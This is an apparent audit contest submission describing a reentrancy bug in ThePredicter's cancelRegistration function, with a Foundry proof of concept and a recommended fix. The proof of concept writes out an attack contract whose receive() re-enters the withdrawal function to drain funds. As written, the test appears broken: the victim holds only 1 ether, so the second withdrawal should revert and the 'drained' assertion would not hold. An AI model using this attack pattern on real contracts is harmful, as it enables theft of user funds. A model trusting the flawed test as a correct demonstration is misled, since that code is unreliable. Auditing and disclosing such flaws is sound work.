First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in `ThePredicter::cancelRegistration` leads to draining of funds

x0rc1ph3r

H-1: Reentrancy in ThePredicter::cancelRegistration

The `cancelRegistration` function in the provided Solidity code has a potential reentrancy vulnerability, which could be exploited by malicious actors to repeatedly withdraw the `entranceFee` from the contract.

Vulnerability Details

The vulnerability exists within the cancelRegistration function in the following code segment:

if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}

The function first sends entranceFee to msg.sender using a low-level call, and then updates the player's status to Status.Canceled. This sequence of actions is problematic because the external call to msg.sender can potentially trigger malicious fallback functions that reenter the cancelRegistration function before the player's status is set to Status.Canceled. This reentrancy could allow attackers to repeatedly withdraw the entranceFee.

Impact

If exploited, the reentrancy vulnerability could drain the contract of its funds, as attackers would be able to withdraw the entranceFee multiple times. This would result in significant financial loss for the protocol and its users.

Tools Used

@> Manual code review
@> Automated vulnerability scanners (e.g., Slither, Aderyn)
@> Foundry testing framework

Proof Of Concept

Below is a proof of concept using Foundry to test the vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import "forge-std/Test.sol";
​
contract VulnerableContract {
enum Status { Pending, Canceled }
mapping(address => Status) public playersStatus;
uint256 public entranceFee;
​
constructor(uint256 _entranceFee) {
entranceFee = _entranceFee;
}
​
function register() public payable {
require(msg.value == entranceFee, "Incorrect entrance fee");
playersStatus[msg.sender] = Status.Pending;
}
​
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert("Not eligible for withdraw");
}
}
​
contract AttackContract {
VulnerableContract public vulnerable;
bool public attacked;
​
constructor(address _vulnerable) {
vulnerable = VulnerableContract(_vulnerable);
}
​
receive() external payable {
if (!attacked) {
attacked = true;
vulnerable.cancelRegistration();
}
}
​
function attack() public payable {
vulnerable.register{value: msg.value}();
vulnerable.cancelRegistration();
}
}
​
contract VulnerabilityTest is Test {
VulnerableContract public vulnerable;
AttackContract public attacker;
​
function setUp() public {
vulnerable = new VulnerableContract(1 ether);
attacker = new AttackContract(address(vulnerable));
}
​
function testReentrancyAttack() public {
vm.deal(address(attacker), 2 ether);
attacker.attack{value: 1 ether}();
​
// Check the contract balance after the attack
uint256 contractBalance = address(vulnerable).balance;
emit log_named_uint("Contract balance after attack", contractBalance);
​
// Assert that the contract has been drained
assert(contractBalance == 0);
}
}

In this test:

@> The `VulnerableContract` simulates the original contract with the vulnerability.
@> The `AttackContract` demonstrates the reentrancy attack.
@> The `VulnerabilityTest` uses Foundry to set up the test environment and execute the attack, validating that the contract's balance is drained after the attack.

Recommended Mitigation

To mitigate the reentrancy vulnerability, the player's status should be updated before making the external call. This ensures that even if a reentrant call is made, the player's status will already be set to Status.Canceled, preventing further withdrawals. Here is the updated function:

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
playersStatus[msg.sender] = Status.Canceled; // Update status before sending funds
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.